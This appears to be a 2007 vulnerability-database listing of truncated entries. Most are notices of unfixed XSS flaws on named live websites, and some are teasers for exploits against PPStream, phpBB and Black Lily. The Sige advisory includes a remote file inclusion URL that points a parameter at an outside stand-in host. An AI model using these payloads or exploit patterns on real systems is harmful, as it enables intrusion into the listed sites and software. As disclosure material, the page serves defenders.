Unfixed Redirect vulnerability at esd.element5.com

Security researcher Uber0n, has submitted on 30/11/2007 a Redirect vulnerability affecting esd.element5.com, which at the time of submission ranked 12133 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 04/12/2007. It is currently unfixed. If yo...

PPStream 2.1.6.2916 PowerList.ocx SetBkImage Overwrite Exploit

No description provided by source. / PPStream PowerList.ocx 2.1.6.2916 描述: SetBkImage 堆和栈溢出, 还是以前的老问题。以前补的是PowerPlayer.dll中的 这里利用堆溢出和栈溢出，使用 CFindFile 对参数检查不严格，导致堆溢出。 在其析构时会导致异常，并且在析构之前发生了 strcat 导致栈溢出，覆盖掉 原来的 seh 处理程序 author: [email protected] 2007-11-11 / define CRTSECURENODEPRECATE include windows...

Unfixed XSS vulnerability at www.shams7.com

Security researcher Pouyaserver, has submitted on 23/11/2007 a cross-site-scripting XSS vulnerability affecting www.shams7.com, which at the time of submission ranked 132498 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 29/11/2007. It is...

PHPBB links.php Remote SQL Injection

No description provided by source. ?php PHPBB links.php Remote SQL Injection By Love Fly thanks Flyh4t,Spr1t3 [email protected] www.cnsst.org / www.sebug.net =phpBB 2.022 use LWP::UserAgent; use HTTP::Request::Common; use Time::HiRes; CONFIGURAZIONE EXPLOIT $sito =...

Black Lily 2007 (products.php class) Remote SQL Injection Vulnerability

SnIper-sa.com SSSSS nnn nn ii ppppppp eeeeeeeee rrrrr ss nn nn nn ii pp p ee rr rr s nn nn nn ii pp p ee rr r ss nn nn nn ii ppppppp ee rr rr sssss nn nn nn ii pp eeeeee rrrr ss nn nn nn ii pp ee rrrr s nn nn nn ii pp ee rr rr ss nn nnn ii pp ee rr rr sssss nn nnn ii pp eeeeeeeeee rr rr VerY-SecR...

Unfixed XSS vulnerability at wap.mig33.com

Security researcher h4v0c-, has submitted on 17/11/2007 a cross-site-scripting XSS vulnerability affecting wap.mig33.com, which at the time of submission ranked 15076 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 23/11/2007. It is currently...

Unfixed XSS vulnerability at galleries.allover30.com

Security researcher TreX, has submitted on 11/12/2007 a cross-site-scripting XSS vulnerability affecting galleries.allover30.com, which at the time of submission ranked 3931 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 18/12/2007. It is...

Unfixed XSS vulnerability at www.tinlizzie999.com

Security researcher SeeD, has submitted on 11/12/2007 a cross-site-scripting XSS vulnerability affecting www.tinlizzie999.com, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 11/12/2007. It is currently...

Unfixed XSS vulnerability at www.bot258.com

Security researcher THE-SH0CK-B0Y, has submitted on 11/10/2007 a cross-site-scripting XSS vulnerability affecting www.bot258.com, which at the time of submission ranked 109026 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 13/10/2007. It is...

Unfixed XSS vulnerability at dkjfwekjnc4.com

Security researcher kusomiso.com, has submitted on 11/09/2007 a cross-site-scripting XSS vulnerability affecting dkjfwekjnc4.com, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 13/09/2007. It is current...

Unfixed XSS vulnerability at www.ag34.com

Security researcher BackDoor, has submitted on 11/09/2007 a cross-site-scripting XSS vulnerability affecting www.ag34.com, which at the time of submission ranked 9318038 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 13/09/2007. It is currentl...

Unfixed XSS vulnerability at www.volkandemirel1.com

Security researcher GeFORC3, has submitted on 11/08/2007 a cross-site-scripting XSS vulnerability affecting www.volkandemirel1.com, which at the time of submission ranked 991318 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 21/08/2007. It is...

Unfixed XSS vulnerability at www.apt7979.com

Security researcher cyber, has submitted on 11/08/2007 a cross-site-scripting XSS vulnerability affecting www.apt7979.com, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 21/08/2007. It is currently...

Unfixed XSS vulnerability at www.whiten2.com

Security researcher PanzErTurK, has submitted on 11/02/2007 a cross-site-scripting XSS vulnerability affecting www.whiten2.com, which at the time of submission ranked 4682689 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 12/02/2007. It is...

Sige Sige_Init.PHP远程文件包含漏洞

Sige是一款基于PHP的WEB应用程序。 Sige不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB权限执行任意PHP代码。 问题是由于'SigeInit.PHP'脚本对用户提交的'SYSPATH'参数缺少过滤，指定远程服务器上的任意文件作为包含参数，可导致以WEB权限执行任意PHP代码。 Sige 0.1 目前没有详细解决方案提供： http://sourceforge.net/projects/pfadmin http://www.example.com/inc/sigeinit.php?SYSPATH=http://example2.com/scripts/020.t...

Airkiosk/formlib application is XSS vuln

In the last week I've found a XSS vuln into the Sutra's Airkiosk application for the realtime distribution of flights/booking and check-in interface www.airkiosk.com. The XSS is possible because they are using a VULN/OLD formlib.pl in their application that permits to execute any JavaScript you...

Unfixed XSS vulnerability at www.site333.com

Security researcher Space-cowboY, has submitted on 29/10/2007 a cross-site-scripting XSS vulnerability affecting www.site333.com, which at the time of submission ranked 5884088 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 04/11/2007. It is...

Unfixed XSS vulnerability at www.game315.com

Security researcher St@R-gaZ3r, has submitted on 28/10/2007 a cross-site-scripting XSS vulnerability affecting www.game315.com, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 04/11/2007. It is currently...

Unfixed XSS vulnerability at www.icn2007.com

Security researcher St@R-gaZ3r, has submitted on 28/10/2007 a cross-site-scripting XSS vulnerability affecting www.icn2007.com, which at the time of submission ranked 8619984 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 29/10/2007. It is...

Unfixed XSS vulnerability at www.t95.com

Security researcher St@R-gaZ3r, has submitted on 28/10/2007 a cross-site-scripting XSS vulnerability affecting www.t95.com, which at the time of submission ranked 1946061 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 04/11/2007. It is current...